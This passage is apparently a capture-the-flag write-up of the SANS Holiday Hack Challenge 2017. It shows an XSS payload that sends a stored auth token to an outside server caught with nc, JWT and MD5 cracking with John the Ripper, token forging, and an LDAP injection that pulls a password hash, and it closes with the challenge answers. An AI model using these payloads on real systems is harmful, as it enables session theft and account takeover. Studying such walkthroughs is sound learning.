custom.js
file, we can see that there's some filtering done on the
client side to trigger on text like script
.
// --------------------------Customer Service Request -----------------------------/
$('#help_button').click(function(e){
e.preventDefault();
var help_uid = $('#help_uid').val();
var help_email = $('#help_email').val();
var help_message = $('#help_message').val();
if (help_uid.match(/^\w+\.\w+$/g) != null){
if (help_email.match(/^[\w\_\-\.]+\@[\w\_\-\.]+\.\w\w\w?\w?$/g) !== null){
if (help_message.match(/^.+$/g) != null) {
if (help_message.match(/[sS][cC][rR][iI][pP][tT]/g) == null) {
Now, client-side verifications can be bypassed easily by performing the HTTP request directly. But in that case, the check (among others) was also performed on the server-side.
So, let's use another type of XSS payload, that does not involve the word
script
. One of the most common is to use the onerror
attribute.
Let's try and see:
POST /service HTTP/1.1
Host: edb.northpolechristmastown.com
Origin: http://edb.northpolechristmastown.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Referer: http://edb.northpolechristmastown.com/index.html
Cookie: SESSION=53LByIBB8Ct5Z79RdsTC
uid=alabaster.snowball&email=alabaster.snowball%40northpolechristmastown.com&message=<img src=x onerror="alert('Huh oh, Spaghettios')" />
Bingo, it works! Now, let's create a payload that will capture the
np-auth
entry from the local storage. The application uses jQuery,
which means that we can use $.get
to easily exfiltrate our token to our
public-facing website:
POST /service HTTP/1.1
Host: edb.northpolechristmastown.com
Origin: http://edb.northpolechristmastown.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Referer: http://edb.northpolechristmastown.com/index.html
Cookie: SESSION=53LByIBB8Ct5Z79RdsTC
uid=alabaster.snowball&email=alabaster.snowball%40northpolechristmastown.com&message=<img src=x onerror="$.get(%26quot;http://X.X.X.X/?%26quot;%2blocalStorage.getItem(%26quot;np-auth%26quot;),function(a,b){})" />
And in a nc
on our server, we wait for our payload to get triggered:
# nc -nvk -l -p 80
listening on [any] 80 ...
connect to [X.X.X.X] from (UNKNOWN) [Y.Y.Y.Y] 50132
GET /?eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I HTTP/1.0
Host: X.X.X.X
Connection: close
Accept: */*
Referer: http://127.0.0.1/reset_request?ticket=DFYCN-8UI5I-AD87J-BRR9P
Origin: http://127.0.0.1
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,*
Hurray, we got our token! Let's put it in our local storage, then head to the
index.html
page, and... nothing. Well that's disappointing. Let's take
a look at our token. It seems to be three base64-encoded pieces of data,
separated by full stops. This seems to indicate that this is a JSON Web Token
(JWT). The first part is the
header, {"alg":"HS256","typ":"JWT"}
, the second part is the payload,
{"dept":"Engineering","ou":"elf","expires":"2017-08-16 12:00:47.248093+00:00","uid":"alabaster.snowball"}
,
and the third part is the signature.
Our newfound token didn't work because it seems that it expired in August 2017.
We could modify the expiry date to put it in the future, but we can't compute
a new signature for our modified payload, because we don't know what secret
key is used. I tried using the trick of the none
algorithm (described
here),
which has worked for coworkers of mine in the past. But it didn't work in that
case.
What's left to us is to try and bruteforce the secret key, so that we can
create our own JWT. JohnTheRipper
can actually bruteforce it for us,
since it can bruteforce HMAC-256 secret keys. We just have to make some
changes to our token:
$ cat alabaster_jwt.txt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9#33b6782370adad6b78486c1f83b9a2e95f7fe2b6991397a156423d874e24afa2
$ john ./alabaster_jwt.txt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
3lv3s (?)
1g 0:00:02:28 DONE 3/3 (2018-01-08 00:59) 0.006742g/s 2154Kp/s 2154Kc/s 2154KC/s 3k3ys..au10.
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Wow, it worked. I must confess that it was kind of my last hope, and I wasn't
sure it was going to work. But hey, we now have our secret key, 3lv3s
,
and we can now generate valid JWT for Alabaster. I used https://jwt.io/ to do
so, and obtain the following token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE4LTAxLTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.OsSuRkYF-13eNfXyuCDYmb9XUjBhnbmQ9Oe1yRWDrH0
We can now log into the application:
There's a Santa panel, but we're not identified as Santa, so we can't access it. We could try to forge a JWT for Santa, but we can see in the source code of the application, that we actually need his password:
$('#santa_panel').click(function(e){
e.preventDefault();
if (user_json['dept'] == 'administrators') {
pass = prompt('Confirm you are a Claus by confirming your password: ').trim()
if (pass) {
poster("/html", { santa_access: pass }, token, function(result){
if (result) {
$('#inneroverlay').html(result);
$('.overlay').css('display','flex');
} else {
Materialize.toast('Incorrect Password...', 4000);
}
});
}
} else {
Materialize.toast('You must be a Claus to access this panel!', 4000);
}
});
So, we need to find a way to get his password. Let's take a look at the application. Apparently, we can query the application's database for elves or reindeers matching certain names, and get some properties:
POST /search HTTP/1.1
Host: edb.northpolechristmastown.com
np-auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE4LTAxLTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.OsSuRkYF-13eNfXyuCDYmb9XUjBhnbmQ9Oe1yRWDrH0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Referer: http://edb.northpolechristmastown.com/home.html
Cookie: SESSION=4wtVec24212atYU1RpE3
Connection: close
name=alabaster&isElf=True&attributes=profilePath,gn,sn,mail
HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Mon, 08 Jan 2018 00:08:50 GMT
Connection: close
[[["cn=alabaster,ou=elf,dc=northpolechristmastown,dc=com",{"gn":["Alabaster"],"mail":["alabaster.snowball@northpolechristmastown.com"],"profilePath":["/img/elves/elf1.PNG"],"sn":["Snowball"]}]]]
Given the result's format, we can expect the application to performan LDAP query to retrieve the wanted attributes. If only we knew the syntax of this query... But, wait! Let's see what we have in the application source code:
//Note: remember to remove comments about backend query before going into north pole production network
/*
isElf = 'elf'
if request.form['isElf'] != 'True':
isElf = 'reindeer'
attribute_list = [x.encode('UTF8') for x in request.form['attributes'].split(',')]
result = ldap_query('(|(&(gn=*'+request.form['name']+'*)(ou='+isElf+'))(&(sn=*'+request.form['name']+'*)(ou='+isElf+')))', attribute_list)
#request.form is the dictionary containing post params sent by client-side
#We only want to allow query elf/reindeer data
*/
We have the syntax of the query. And there doesn't seem to be any filtering on our parameters, so we can try to perform an LDAP injection. I recommend you read this link, to better understand how the LDAP syntax works.
Now, we want to perform our injection in the name
parameter. The goal
is to get a query that will match Santa's user entry. I ended up going with
the following payload: santa*)(ou=*))(&(sn=foo
. Indeed, the final
syntax is then:
(|(&(gn=*santa*)(ou=*))(&(sn=foo*)(ou=elf))(&(sn=*santa*)(ou=*))(&(sn=foo*)(ou=elf)))
This query should match Santa, since we're searching for entries with names
containing santa
in any organizational unit. Now, let's perform our
search. Since we're allowed to query any attributes we want, let's ask for the
userPassword
attribute, found in the earlier
LDIF_template.txt
file:
POST /search HTTP/1.1
Host: edb.northpolechristmastown.com
Accept: */*
Origin: http://edb.northpolechristmastown.com
np-auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE4LTAxLTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.OsSuRkYF-13eNfXyuCDYmb9XUjBhnbmQ9Oe1yRWDrH0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://edb.northpolechristmastown.com/home.html
Cookie: SESSION=4F359T9wWTvpBczV3335
name=santa*)(ou=*))(%26(sn=foo&isElf=True&attributes=userPassword
HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Mon, 08 Jan 2018 00:16:42 GMT
Content-Type: application/json
Content-Length: 113
Connection: close
[[["cn=santa,ou=human,dc=northpolechristmastown,dc=com",{"userPassword":["d8b4c05a35b0513f302a85c409b4aab3"]}]]]
We now have Santa's hashed password. Given the form, it seems to be an MD5
hash. Let's use JohnTheRippher
again to try and crack it:
$ cat santa_password.txt
d8b4c05a35b0513f302a85c409b4aab3
$ john --format=raw-md5 --wordlist=./rockyou.txt ./santa_password.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
001cookielips001 (?)
1g 0:00:00:00 DONE (2018-01-08 01:23) 1.315g/s 18776Kp/s 18776Kc/s 18776KC/s 002007238..00196900
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Hurray, we have Santa's password! We can now log into the application, and access his panel. This gives us access to this letter, sent to him:
Here's what the letter says:
From: The Wizard of Oz
Emerald City, Oz
To: Santa Claus
Christmas Town, North Pole
Dear Santa,
My old friend! I wish you a very merry Christmas. Thank you for all you do to bring holiday cheer around the world.
Every year, I enjoy our gift exchange -- you giving me a Christmas present and I giving you a Solstice gift. We've exchanged some crazy things in the past. By my reckoning, you've given me:
- Big Hair Hairspray
- Pink Election Campaign Hat
- Bacon Bandages
- Scapy the Unicorn Plush Pillow
- Princess Leia Earmuffs
- Bacon Tie with Giant TV Remote
- Stormtrooper Boxer Shorts
Ah what fun times! And I've given you:
- The Nubulator
- Garden Gnome
- Justin Bieber Toothbrush
- Snorty the Pig Hat and Pink Gloves
- Giant Inflatable Olaf the Snowman
- Ariana Grande Light-up Cat Ear Headphones
Well, wait 'til you see what I've got for you this year, my friend! Yule love it!
Merry Christmas!
—The Wizard
Well, it's nice to see that Santa gets gifts too!
Answers to the questions
Let's answer the questions:
- Visit the North Pole and Beyond at the Winter Wonder Landing Level to collect the first page of The Great Book using a giant snowball. What is the title of that page?
The title of the first page of The Great Book is About This Book....
- Investigate the Letters to Santa application at https://l2s.northpolechristmastown.com. What is the topic of The Great Book page available in the web root of the server? What is Alabaster Snowball's password?
The topic of the second page of The Great Book is the creation of flying animals in Oz, which lead to the creation of flying reindeers.
Alabaster Snowball's password is stream_unhappy_buy_loss
.
- The North Pole engineering team uses a Windows SMB server for sharing documentation and correspondence. Using your access to the Letters to Santa server, identify and enumerate the SMB file-sharing server. What is the file server share name?
The name of the share on hhc17-smb-server
is FileStor
.
- Elf Web Access (EWA. is the preferred mailer for North Pole elves, available internally at http://mail.northpolechristmastown.com. What can you learn from The Great Book page found in an e-mail on that server?
The fourth page of The Great Book speaks of the battles between Munchkins and Elves, the creation of the Lollipop Guild, and their infiltration in the North Pole population.
- How many infractions are required to be marked as naughty on Santa's Naughty and Nice List? What are the names of at least six insider threat moles? Who is throwing the snowballs from the top of the North Pole Mountain and what is your proof?
It takes four infractions to be marked as naughty on Santa's list.
Here are six insider threat moles:
- Boq Questrian
- Bini Aru
- Sheri Lewis
- Kirsty Evans
- Nina Fitzgerald
- Beverly Khalil
The discussion between us, Sam the Snowman, and Bumble informs us that the person throwing giant snowballs is Bumble, the Abominable Snow Monster.
- The North Pole engineering team has introduced an Elf as a Service (EaaS. platform to optimize resource allocation for mission-critical Christmas engineering projects at http://eaas.northpolechristmastown.com. Visit the system and retrieve instructions for accessing The Great Book page from C:\greatbook.txt. Then retrieve The Great Book PDF file by following those directions. What is the title of The Great Book page?
The title of the first page of The Great Book is The Dreaded Inter-Dimensional Tornadoes.
- Like any other complex SCADA systems, the North Pole uses Elf-Machine Interfaces (EMI. to monitor and control critical infrastructure assets. These systems serve many uses, including email access and web browsing. Gain access to the EMI server through the use of a phishing attack with your access to the EWA server. Retrieve The Great Book page from C:\GreatBookPage7.pdf. What does The Great Book page describe?
The seventh page of The Great Book gives us details regarding the Witches of Oz, their power, and their neutrality during the Great Schism.
- Fetch the letter to Santa from the North Pole Elf Database at http://edb.northpolechristmastown.com. Who wrote the letter?
The letter was written by the Wizard of Oz, Santa's good friend.
- Which character is ultimately the villain causing the giant snowball problem. What is the villain's motive?
The villain causing the giant snowball problem is Glinda, the "Good" Witch. She cast a spell on Bumble to make him throw giant snowballs, in order to create an all-out war between Elves and Munchkins. This would have allowed her to make a profit, by selling spells to both sides of the war.
Conclusion
Once again, the SANS staff outdid themselves and gave us an amazing Christmas challenge. I thought implementing client-side attacks, such as XSS or phishing attacks was a nice touch. It's also great that designed the challenge to that people would have to pivot to an internal network. Overall, it kind of reminded me of when I took my OSCP exam/lab.
As usual, see you next year!
[EDIT 2018-03-15]
This write-up received an honorable mention from the SANS team. Even though I didn't win any prize, I'm still super honored to receive this recognition. Thanks to the SANS team for organizing this challenge, and special thanks to Jerry Salinas for reviewing my write-up!